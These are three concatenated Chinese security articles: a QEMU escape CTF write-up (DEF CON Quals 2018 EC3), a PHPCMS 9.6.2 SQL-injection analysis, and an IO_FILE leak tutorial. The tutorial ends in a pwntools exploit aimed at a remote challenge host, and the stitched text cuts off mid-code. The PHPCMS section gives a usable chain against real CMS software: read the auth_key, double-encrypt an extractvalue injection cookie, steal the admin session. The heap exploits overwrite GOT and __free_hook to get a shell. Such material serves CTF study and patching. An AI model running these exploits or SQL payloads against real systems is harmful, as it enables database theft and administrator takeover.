qemu-system-x86_64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=b6c6ab3e87201dc5d18373dee7bee760367a8ffa, stripped
可以看到`qemu-system-x86_64`是`stripped`，符号是去掉了的。
## 分析
### 环境安装
我是在ubuntu18上面尝试`sudo ./run.sh`把虚拟机跑起来的，但是各种报错，折腾了很久才跑起来，因此在这里也记录一下。
一开始报错：
./qemu-system-x86_64: error while loading shared libraries: libiscsi.so.2: cannot open shared object file: No such file or directory
解决办法，安装`libiscsi`：
git clone https://github.com/sahlberg/libiscsi.git
./autogen.sh
./configure
make
sudo make install
cp /usr/lib/x86_64-linux-gnu/libiscsi.so.7 /lib/libiscsi.so.2
在运行`./autogen.sh`的时候，报错：
configure.ac:9: error: possibly undefined macro: AC_PROG_LIBTOOL
解决方法，安装`libtool`和`libsysfs-dev`：
sudo apt-get install libtool
sudo apt-get install libsysfs-dev
安装完`libiscsi`后，再跑`sudo ./run.sh`，仍然报错：
./qemu-system-x86_64: error while loading shared libraries: libpng12.so.0: cannot open shared object file: No such file or directory
解决方法，安装`libpng12`：
sudo wget -O /tmp/libpng12.deb http://mirrors.kernel.org/ubuntu/pool/main/libp/libpng/libpng12-0_1.2.54-1ubuntu1_amd64.deb
sudo dpkg -i /tmp/libpng12.deb
sudo rm /tmp/libpng12.deb
再跑run.sh，报错：
./qemu-system-x86_64: error while loading shared libraries: libxenctrl-4.6.so: cannot open shared object file: No such file or directory
解决方法，安装`libxen4.6`：
sudo wget -O /tmp/libxen.deb http://mirrors.kernel.org/ubuntu/pool/main/x/xen/libxen-4.6_4.6.5-0ubuntu1.4_amd64.deb
sudo dpkg -i /tmp/libxen.deb
sudo rm /tmp/libxen.deb
然后终于可以运行起来了。。。。
sudo ./run.sh
...
[ 3.609675] Write protecting the kernel read-only data: 14336k
[ 3.615441] Freeing unused kernel memory: 1696K
[ 3.618437] Freeing unused kernel memory: 100K
Boot took 3.82 seconds
break out of the vm, but don't forget to have fun!
/bin/sh: can't access tty; job control turned off
/ # [ 4.444675] clocksource: Switched to clocksource tsc
/ #
### 逆向分析
把`qemu-system-x86_64`拖进ida进行分析，由于符号去掉了，所以不能像之前一样直接搜索`ooo`相关的函数来寻找设备函数。
因此为了将该设备相关的函数和结构体找出来，我对照的是`edu.c`以及`hitb2018
babyqemu`的idb文件，通过`ooo_class_init`字符串定位`0x6E67DE`地址的函数为`ooo_class_init`；确定`0x6E64A5`函数为`pci_ooo_realize`；确定`0x47D731`函数为`memory_region_init_io`；确定`0xB63300`地址为`ooo_mmio_ops`对应的结构体；确定`0x6E613C`为`ooo_mmio_read`函数以及`0x6E61F4`为`ooo_mmio_write`函数。通过`ooo_instance_init`字符串可以确定`0x6E6732`为`ooo_instance_init`函数。
通过`pci_ooo_realize`函数可以确定mmio的空间大小为`0x1000000`。
接下来详细分析`ooo_mmio_write`函数以及`ooo_mmio_read`函数。
首先是`ooo_mmio_write`函数，关键代码如下：
__int64 __fastcall ooo_mmio_read(struct_a1 *a1, int addr, unsigned int size)
{
unsigned int idx; // [rsp+34h] [rbp-1Ch]
__int64 dest; // [rsp+38h] [rbp-18h]
struct_a1 *v6; // [rsp+40h] [rbp-10h]
unsigned __int64 v7; // [rsp+48h] [rbp-8h]
v7 = __readfsqword(0x28u);
v6 = a1;
dest = 0x42069LL;
idx = (addr & 0xF0000u) >> 16;
if ( (addr & 0xF00000u) >> 20 != 15 && global_buf[idx] )
memcpy(&dest, (char *)global_buf[idx] + (signed __int16)addr, size);
return dest;
}
可以看到`(addr & 0xF0000u)`为idx，`addr`的低16位为`offset`。当`(addr & 0xF00000u) >>
20`不为15时，将`global_buf[idx] +
offset`中的数据拷贝出来赋值给`dest`，否则`dest`为`0x42069`，返回`dest`。
接着看`ooo_mmio_write`函数，代码如下：
void __fastcall ooo_mmio_write(struct_a1 *opaque, __int64 addr, __int64 value, unsigned int size)
{
unsigned int cmd; // eax MAPDST
int n[3]; // [rsp+4h] [rbp-3Ch]
__int16 v8; // [rsp+22h] [rbp-1Eh]
int i; // [rsp+24h] [rbp-1Ch]
unsigned int idx; // [rsp+2Ch] [rbp-14h] MAPDST
*(_QWORD *)n = value;
cmd = ((unsigned int)addr & 0xF00000) >> 20;
cmd = ((unsigned int)addr & 0xF00000) >> 20;
switch ( cmd )
{
case 1u:
free(global_buf[((unsigned int)addr & 0xF0000) >> 16]);
break;
case 2u:
idx = ((unsigned int)addr & 0xF0000) >> 16;
v8 = addr;
memcpy((char *)global_buf[idx] + (signed __int16)addr, &n[1], size);
break;
case 0u:
idx = ((unsigned int)addr & 0xF0000) >> 16;
if ( idx == 15 )
{
for ( i = 0; i <= 14; ++i )
global_buf[i] = malloc(8LL * *(_QWORD *)&n[1]);
}
else
{
global_buf[idx] = malloc(8LL * *(_QWORD *)&n[1]);
}
break;
}
}
从该函数中可以看出`addr & 0xF00000`为`cmd`，根据`cmd`进行相应的`case`选择。`addr &
0xF0000`为`idx`，这似乎变成了一个堆的菜单题：
1. cmd 为0时，进行malloc分配，分配的size为传入的`value`值（IDA反编译出来的是value的高32位，看汇编代码可以确定为value的低32位），分配出来的指针保存到全局变量`global_buf[idx]`中。
2. cmd为1时，调用free函数释放掉`global_buf[idx]`。
3. cmd为2时，将value写入到`global_buf[idx] + offset`中。
很明显可以看到这里的`uaf`漏洞，释放了以后并没有清空指针，形成漏洞。
## 利用
因为是在ubuntu18上面跑的，`glibc2.27`有`tcache`，所以利用起来比较简单。
同时可以看到`sub_6E65F9`函数包含后门，该函数调用`system("cat ./flag")`。因此只要控制rip为`0x6E65F9`即可。
利用过程为：申请堆块并释放到tcache中，利用uaf将`tcache`的`fd`改为`free got`，连续申请，将`free
got`申请出来并改写成`0x6E65F9`，最后触发free拿到flag。
有一点需要指出的是，由于qemu在启动过程中会形成很多堆块，使得管理链表中存在很多堆块，可能会导致控制释放的顺序与申请的顺序无法像预期的一样控制。我的解决方法是在`main_arena`中找到了一个比较少用的堆块（大小为0x380），先将该堆块在链表中清空，再进行利用，成功率就比较高，很稳定。
一开始exp中也遇到一个错误：`exp[85]: segfault at 7f9dbdfc6000 ip
0000000000400b8e`，查看了`400b8e`地址为：`0x400b8e <mmio_write_byte+31>: mov BYTE PTR
[rdx],al`，是访存错误。意识到是我一开始mmap文件`/sys/devices/pci0000:00/0000:00:04.0/resource0`的size过小，导致`mmio_write`的时候访存越界，所以在`mmap`时分配size大些就可以了，我最后映射的size为mmio空间的大小`0x1000000`（一开始也是像之前其它的题一样mmap的size为0x1000）。
同时题目当时的环境是ubuntu16，由于没有tcache，利用起来比较复杂。根据已有的wp，有两种解法：
1. 根据[DefconQuals 2018 - EC3](https://uaf.io/exploitation/2018/05/13/DefconQuals-2018-EC3.html)解法：申请0x70大小的堆块，利用fastbin attack将fd改到`global_buf`地址处，因为堆指针地址开头会为`0x7f`，所以可以绕过size检查，从而将`global_buf`申请出来，覆盖地址实现任意读写，再修改got地址即可。
2. 根据[EC3 write-up (DEF CON CTF 2018 Quals)](https://blog.bushwhackers.ru/defconquals2018-ec3/)解法：利用堆溢出，将堆中内容都覆盖成后门的地址，再利用命令`echo mem > /sys/power/state`将虚拟机休眠，唤醒的时候会劫持控制流拿到flag。
感觉如果没有后门以及开了PIE的话，也可以利用`mmio_read`先泄露libc地址和堆地址，再做利用也是可行的。
还有一点是如何将exp传入到虚拟机中，一种方式是将exp编译好后base64编码，粘贴到虚拟机中再解码。另一种是看到文件系统是`initramfs-busybox-x86_64.cpio.gz`，我们可以用下面文件解压出来。
gunzip initramfs-busybox-x86_64.cpio.gz
cpio -idmv < initramfs-busybox-x86_64.cpio
然后`make`将exp编译出来并重打包文件系统再启动qemu虚拟机，就可以看到exp在里面了，makefile内容如下：
ALL:
gcc -O0 -static -o exp exp.c
-rm ../initramfs-busybox-x86_64.cpio.gz
#-rm ../initramfs-busybox-x86_64.cpio
find . | cpio -o --format=newc > ../initramfs-busybox-x86_64.cpio
cd .. && gzip initramfs-busybox-x86_64.cpio
## 小结
第一次看没有符号的题，还是有一定的挑战的，修复运行环境也搞了半天，学到了不少。
最后在github里面找到了题目的[源码](https://github.com/o-o-overflow/chall-ec-3/tree/de0e64563fc9890ce81bfe5fe107afb107d719b7)，逆了半天有点儿尴尬，不过看完没符号的反编译代码并尽量把它修复也是对自己的一点挑战吧。
相关脚本和文件[链接](https://github.com/ray-cp/vm-escape/tree/master/qemu-escape/DefconQuals-2018-EC3)
## 参考链接
1. [DefconQuals 2018 - EC3](https://uaf.io/exploitation/2018/05/13/DefconQuals-2018-EC3.html)
2. [EC3 write-up (DEF CON CTF 2018 Quals)](https://blog.bushwhackers.ru/defconquals2018-ec3/)
3. [oooverflow.c](https://github.com/o-o-overflow/chall-ec-3/blob/de0e64563fc9890ce81bfe5fe107afb107d719b7/src/oooverflow.c)
4. [linux系统的休眠与唤醒简介](https://www.cnblogs.com/sky-heaven/p/4561374.html) | 社区文章 |
# 【技术分享】PHPCMS V9.6.2 SQL注入漏洞分析
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[ **0r3ak@0kee
Team**](http://bobao.360.cn/member/contribute?uid=2515404114)
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**传送门**
[**【漏洞分析】PHPCMS V9.6.1
任意文件读取漏洞分析（含PoC，已有补丁）**](http://bobao.360.cn/learning/detail/3805.html)
**
**
**前言**
通过这篇文章的分析：<http://bobao.360.cn/learning/detail/3805.html> ，详细讲述了PHPCMS
V9.6.1文件读取漏洞的触发成因，当发现网站是phpcms并且成功利用任意文件读取漏洞读取时系统文件时是否可以进行下一步的利用，在phpcms的核心文件/caches/configs/system.php中存储了phpcms全站的加密密钥与全局的配置参数：
'cookie_pre' => 'qErKa_', //Cookie 前缀，同一域名下安装多套系统时，请修改Cookie前缀
'auth_key' => 'U6KnzDrhf6ZQ5Yt7izr0', //密钥
利用这个密钥可以对 phpcms传输的数据加解密，使用SkyWolf在PHPcms
9.6.2中挖掘到了一枚配合密钥利用的SQL注入漏洞，以下是详细过程与分析。
**Skywolf**
**SykWolf介绍**
什么是SkyWolf？SkyWolf是一款自动化灰盒审计系统，所谓灰盒审计，在日常对cms的代码审计中可以理解为白盒结合黑盒的安全测试，以PHP扩展形式加载，通过污染传递的方法污染程序整个执行流程，并对程序处理流程进行安全性分析。
Skywolf控制台地址：
<https://0kee.360.cn/skywolf/>
通过访问网站接口skywolf会主动的分析中间调用逻辑，来罗列出可疑的漏洞
告警处理：展示Skywolf发现业务已经触发的漏洞告警信息，点进去看到详细的漏洞信息：
可疑点：服务端数据库执行的可疑语句
调用栈：程序在执行这一次请求当中所调用的函数与代码文件物理路径、在文件中的行数。
**SQL注入漏洞分析**
当访问到phpcms的member接口：
phpcmsv961_1/index.php?m=member
skywolf发出了相关告警：
详细分析如下：
在会员前台管理中心接口的继承父类foreground：
/phpcms/modules/member/index.php LINE 11
class index extends foreground {
private $times_db;
function __construct() {
parent::__construct();
$this->http_user_agent = $_SERVER['HTTP_USER_AGENT'];
}
这里继承了foreground，跟进去：
/phpcms/modules/member/classes/foreground.class.php line 19-38：
/**
* 判断用户是否已经登陆
*/
final public function check_member() {
$phpcms_auth = param::get_cookie('auth');
if(ROUTE_M =='member' && ROUTE_C =='index' && in_array(ROUTE_A, array('login', 'register', 'mini','send_newmail'))) {
if ($phpcms_auth && ROUTE_A != 'mini') {
showmessage(L('login_success', '', 'member'), 'index.php?m=member&c=index');
} else {
return true;
}
} else {
//判断是否存在auth cookie
if ($phpcms_auth) {
$auth_key = $auth_key = get_auth_key('login');
list($userid, $password) = explode("t", sys_auth($phpcms_auth, 'DECODE', $auth_key));
//验证用户，获取用户信息
$this->memberinfo = $this->db->get_one(array('userid'=>$userid)); //注入点在这
if($this->memberinfo['islock']) exit('<h1>Bad Request!</h1>');
//获取用户模型信息
$this->db->set_model($this->memberinfo['modelid']);
首先看到这里是验证前台会员用户是否登录，验证方法是解析客户端的cookie_pre_auth参数：
$phpcms_auth = param::get_cookie('auth’);
跟到get_cookie函数：
/phpcms/libs/classes/param.class.php LINE 107-116
/**
* 获取通过 set_cookie 设置的 cookie 变量
* @param string $var 变量名
* @param string $default 默认值
* @return mixed 成功则返回cookie 值，否则返回 false
*/
public static function get_cookie($var, $default = '') {
$var = pc_base::load_config('system','cookie_pre').$var;
$value = isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default;
if(in_array($var,array('_userid','userid','siteid','_groupid','_roleid'))) {
$value = intval($value);
} elseif(in_array($var,array('_username','username','_nickname','admin_username','sys_lang'))) { // site_model auth
$value = safe_replace($value);
}
return $value;
}
首先读取system.php（网站全局配置./caches/configs/system.php）中的配置参数cookie_pre，也就是网站默认随机分配的cookie前缀，然后再读取到客户端cookie中的cookie_pre_auth值放入sys_auth中解密，那么客户端的cookie_pre_auth应该是经过加密处理后的，有了这些信息后get_cookie先放到这里往下走到get_auth_key：
$auth_key = $auth_key = get_auth_key('login');
list($userid, $password) = explode("t", sys_auth($phpcms_auth, 'DECODE', $auth_key));
//验证用户，获取用户信息
$this->memberinfo = $this->db->get_one(array('userid'=>$userid));
这里咱们看到DECODE用到的key是$auth_key，而$auth_key又是通过get_auth_key('login’)获得的，再跟进get_auth_key：
./phpcms/libs/functions/global.func.php LINE 1601-1611:
/**
* 生成验证key
* @param $prefix 参数
* @param $suffix 参数
*/
function get_auth_key($prefix,$suffix="") {
if($prefix=='login'){
$pc_auth_key = md5(pc_base::load_config('system','auth_key').ip());
}else if($prefix=='email'){
$pc_auth_key = md5(pc_base::load_config('system','auth_key'));
}else{
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$suffix);
}
$authkey = md5($prefix.$pc_auth_key);
return $authkey;
}
可以看到这个$prefix即是外部传入的login，满足$prefix==‘login’后开始拼接客户端ip地址再对值进行md5加密，发现ip()是可以伪造的：
function ip() {
if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
$ip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
$ip = getenv('REMOTE_ADDR');
} elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
$ip = $_SERVER['REMOTE_ADDR'];
}
return preg_match ( '/[d.]{7,15}/', $ip, $matches ) ? $matches [0] : '';
}
最后得到的md5值就是sys_auth($phpcms_auth, 'DECODE',
$auth_key)的解密key了，这样来分析的话payload就是经过了两次加密，完全无视任何第三方防御。
加密流程：
**漏洞利用**
利用方式就简单了：
通过任意文件读取获取到全局配置文件的auth_key值：
首先执行get_auth_key加密，在代码中输出$authkey = md5($prefix.$pc_auth_key)的值：
function get_auth_key($prefix,$suffix="") {
if($prefix=='login'){
$pc_auth_key = md5(pc_base::load_config('system','auth_key').ip());
}else if($prefix=='email'){
$pc_auth_key = md5(pc_base::load_config('system','auth_key'));
}else{
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$suffix);
}
$authkey = md5($prefix.$pc_auth_key);
echo $authkey;
exit();
return $authkey;
}
方便测试，IP参数伪造为X-Forwarded-For: 123.59.214.3，输出了$authkey后直接exit了：
e58cb4eb9cc211f7b0fc070d428438de
然后把phpcms关键的加解密函数sys_auth单独写到某个php文件里面：
sys_auth_key.php:
<?php
/**
* 字符串加密、解密函数
*
*
* @param string $txt 字符串
* @param string $operation ENCODE为加密，DECODE为解密，可选参数，默认为ENCODE，
* @param string $key 密钥：数字、字母、下划线
* @param string $expiry 过期时间
* @return string
*/
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key != '' ? $key : '');
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
}
}
$sql = $_GET['sql'];
$key = $_GET['key'];
echo sys_auth($sql,'ENCODE',$key);
?>
带入$authkey与sqli payload：
第一次加密：
http://127.0.0.1/dashboard/sys_auth_key.php?sql=1%27%20and%20%28extractvalue%281%2Cconcat%280x7e%2C%28select%20user%28%29%29%2C0x7e%29%29%29%3B%23%5Ctokee&key=e58cb4eb9cc211f7b0fc070d428438de
第二次加密：
http://127.0.0.1/dashboard/sys_auth_key.php?sql=b5a4XCOdNpHwEb7nT4CUVMjUkE_cO9B7umiy5--PEK9R094s0L-dvb0HVCB5RUf1SlGkbDbu7HS6lL0mgrx8CGHWjG3m01zuIiyM5dbJ6D0lXZoZZvjOpIXlwTx_30M&key=exbsh7iuTSQsEcwLBcnB
5cb5c0FCT6xz4xz7T1WONsQUFmoD3r0s8EkbTGyKIcnGDJsFO8g8fqAsJLu7_FuzHdJSsyxf7RL1jzO0Lvpq_3bzvfxOB6RRNEr938TYOwW3-QrF4JevCrf8taCsSuwK1FN6hwWf2s1AQDoXc2RL6SlZ-YwM3msW7vafcw5Vmxq7cPp3NSap1SV7l5h8gdGbm0HxiI_AmC4OTrFf
然后带入到auth中里面去访问member接口：
**伪造session进入后台**
众所周知，通过sql注入得到的phpcms的管理员密码是无法破解出来的，具体加密啊算法：
/phpcms/libs/functions/global.func.php LINE 1248
/**
* 对用户的密码进行加密
* @param $password
* @param $encrypt //传入加密串，在修改密码时做认证
* @return array/password
*/
function password($password, $encrypt='') {
$pwd = array();
$pwd['encrypt'] = $encrypt ? $encrypt : create_randomstr();
$pwd['password'] = md5(md5(trim($password)).$pwd['encrypt']);
return $encrypt ? $pwd['password'] : $pwd;
}
简单来说就是把明文密码做md5加密再连接上encrypt值（encrypt是创建用户的时候随机分配的字符串），再做一次md5加密，这样就很难解密了。
然而phpcms一直存在一处问题就是管理员登陆后台会将服务端的session值保存在数据库中，通过注入可以获取到session值来伪造访问后台页面，具体配置在system.php中：
<?php
return array(
//网站路径
'web_path' => '/phpcmsv961/',
//Session配置
'session_storage' => 'mysql',
'session_ttl' => 1800,
'session_savepath' => CACHE_PATH.'sessions/',
'session_n' => 0,
//Cookie配置
'cookie_domain' => '', //Cookie 作用域
'cookie_path' => '', //Cookie 作用路径
'cookie_pre' => 'qErKa_', //Cookie 前缀，同一域名下安装多套系统时，请修改Cookie前缀
'cookie_ttl' => 0, //Cookie 生命周期，0 表示随浏览器进程
mysql存储方式，session有效期为30分钟。
/phpcms/libs/classes/session_mysql.class.php
/**
* 删除指定的session_id
*
* @param $id session
* @return bool
*/
public function destroy($id) {
return $this->db->delete(array('sessionid'=>$id));
}
/**
* 删除过期的 session
*
* @param $maxlifetime 存活期时间
* @return bool
*/
public function gc($maxlifetime) {
$expiretime = SYS_TIME - $maxlifetime;
return $this->db->delete("`lastvisit`<$expiretime");
}
}
只要触发了gc或destroy函数就会删除数据库中的session值，当管理员重新登陆后台后才重新生成session插入数据库中。
session数据库存放位置：
从mysql日志中分析可知：当管理员登陆后台会插入新的session到v9_session表中，每次后台操作都会进行这样的操作，使数据库中的sessionid保持最新，但是值不变。
在管理员登陆后台并且在未注销的前提下是可以通过获取管理员session值来伪造登陆的，限于篇幅，注入过程不再细说，这里直接上图：
得到sessionid，在得到这个参数后还需要一个值，就是pc_hash值，这个值在后台是个随机数，作者是想防止越权以及csrf而设计的，然而对于获取到了后台权限的我们只是一个摆设，下面直接提交数据包访问控制台首页：
**修复方案**
最新版本的phpcmsv9.6.3都已经修复了任意文件读取漏洞与sql注入点，可以下载最新版的补丁进行防护：
**UTF8：**
<http://download.phpcms.cn/v9/9.0/patch/utf8/patch_20170503_20170515_UTF8.zip>
**gbk:**
<http://download.phpcms.cn/v9/9.0/patch/gbk/patch_20170503_20170515_GBK.zip>
**传送门**
* * *
**[【漏洞分析】PHPCMS V9.6.1
任意文件读取漏洞分析（含PoC，已有补丁）](http://bobao.360.cn/learning/detail/3805.html)** | 社区文章 |
# 从一题看利用IO_file to leak
利用io_file的结构去leak的思路是来自HITCON2018中angboy出的一个`baby_tcache`，其中要leak出libc地址，采用了覆盖stdout结构体中`_IO_write_base`，然后利用puts函数的工作机制达到了leak的目的。
## 源码分析
首先我们先要了解一下puts函数是如何调用的
>
> 其是由`_IO_puts`函数实现，其内部调用`_IO_sputn`,接着执行`_IO_new_file_xsputn`,最终会执行`_IO_overflow`
来看一下关于`_IO_puts`的相关源码:
int
_IO_puts (const char *str)
{
int result = EOF;
_IO_size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout);
if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1);
_IO_release_lock (_IO_stdout);
return result;
}
`_IO_new_file_overflow`的相关源码：
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
......
......
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base); //控制的目标
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */当两个地址相等就不会打印这个段。
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}
又上面的源码可知，当`IO_write_ptr`与`_IO_buf_end`不想等的时候就会打印者之间的字符，其中就有可能会有我们需要的leak，我们再接着看一下函数`_IO_do_write`,这个函数实际调用的时候会用到`new_do_write`函数，其参数与之前一样。
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do); //这里最终调用sysewrite来做到写的功能.
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}
主要看函数的count赋值的那个地方，`data`=`_IO_write_base`,`size`=`_IO_write_ptr -_IO_wirte_base`就是这之间的距离，然后最后会return的count实现leak。ps：其中为了防止其进入else if
分支需要设置`fp->_flags & _IO_IS_APPENDING`返回1.
关于其中更多的信息可以查看链接
[io_file信息](https://zszcr.github.io/2019/03/18/2019-3-18-tcache下的几道pwn题/)
## 例题-国赛BMS
题目是来自2019国赛的题，这个题目能够比较简单的去利用所学的这个leak方法，先看看程序的主要逻辑。
### 静态分析
#### main
main函数吧，这里是去了符号，我已经重命名好了函数名。总共有3个功能add，delete和exit。这里没有show函数。。就让人很苦恼了。
#### add
看逻辑是先给你malloc了一个0x20的堆块用来存放`book
name`然后让你自己控制大小去申请，这里申请的堆块大小有限制应该是在`0<x<0x60`之间。
#### delete
bug点在这个函数里，是在free之后没有对全局变量进行一个置0操作导致了uaf漏洞的产生。
>
> 疑问点：这里会疑问是否是含有tache的一个libc版本？所以建议在比赛的时候试试，如果远程报错了那就是正常的fastbin，那如果没报错就是tache了。这里经过测试发现远程是libc2.27以上的版本。
#### 大致思路分析
1. 利用uaf改堆块的fd到`stdout`使得我们可以对`_IO_file`结构进行一波操作。
2. 改写完`_IO_write_base`之后进行leak获取到字符串
3. 改写`_free_hook`为`system`然后free含有`/bin/sh`字符的堆块达到getshell的目的。
### exp分析
大致的把整个exp的流程分析一下。
#### 劫持stdout
new("1234567",0x60,"1234567")
delet(0)
delet(0)
new("1234567",0x60,p64(0x602020))
new("1234567",0x60,"\x20")#这里的"\x20"是根据libc进行变换的。改成stdout地址从而劫持这个结构体
new("1234567",0x60,"\x20")
主要的劫持stdout结构体然后进行更改。
#### 更改结构体
new("1234567",0x60,p64(0xfbad1800) + p64(0)*3 + "\x00")
leak = r.recv(0x20)
leak = leak[0x18:]
leak_Addr = u64(leak[:6].ljust(8,"\x00"))-e.symbols["_IO_file_jumps"]
print hex(leak_Addr)
这里更改结构体结构体的代码
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
可见这里我们的目标就是改了第四个参数，有了这个结构应该不难理解exp中为什么是p64(0)+"\x00"了。
#### getshell
这里就是一个常规思路了，可以看见我的exp里面其实是原来用的onegadget，最后是发现了用不了改用了`_free_hook`去更改。
one = leak_Addr+0x47c9a
new("1234567",0x30,"1234567")
new("/bin/sh",0x40,"/bin/sh")
delet(5)
delet(5)
new("1234567",0x30,p64(leak_Addr+0x3DC8A8))
new("1234567",0x30,p64(leak_Addr+0x3DC8A8))
new("1234567",0x30,p64(leak_Addr+0x47DC0))
delet(6)
r.interactive()
### 总结
其实题目的难度就在你怎么判断libc和如何去leak上，绕过这两点就没有什么实质性的难度了，也算是get了一个新姿势，文末日常膜`ch4r1l3`师傅
#### 最后完整exp
from pwn import *
debug=0
context.log_level='debug'
a = ELF("./bms")
e = a.libc
print hex(e.symbols["__free_hook"])
#print hex(e.symbols["_IO_stdfile_2_lock"])
#a = ELF("./bms")
#e = a.libc
if debug:
r=process('./bms')#,env={'LD_PRELOAD':'./libc6_2.26-0ubuntu2.1_amd64.so'})
gdb.attach(r)
else:
r=remote("90b826377a05d5e9508314e76f2f1e4e.kr-lab.com",40001)
def ru(x):
return r.recvuntil(x)
def se(x):
r.send(x)
def sl(x):
r.sendline(x)
def new(name,size,content):
r.recvuntil(">")
r.sendline("1")
r.recvuntil("book name:")
r.sendline(str(name))
r.recvuntil("description size:")
r.sendline(str(size))
r.recvuntil("description:")
r.send(str(content))
def view(index):
r.recvuntil("> ")
r.sendline("2")
r.recvuntil("Info index: ")
r.sendline(str(index))
def delet(idx):
r.recvuntil(">")
r.sendline("2")
r.recvuntil("index:")
r.sendline(str(idx))
def edit(idx,content):
r.recvuntil("> ")
r.sendline("3")
r.recvuntil("Info index: ")
r.sendline(str(idx))
r.sendline(content)
def new0(name,size,content):
r.recvuntil(">")
r.sendline("1")
r.recvuntil("book name:")
r.sendline(str(name))
r.recvuntil("description size:")
r.sendline(str(size))
r.recvuntil("description:")
r.sendline(str(content))
r.recvuntil("username:")
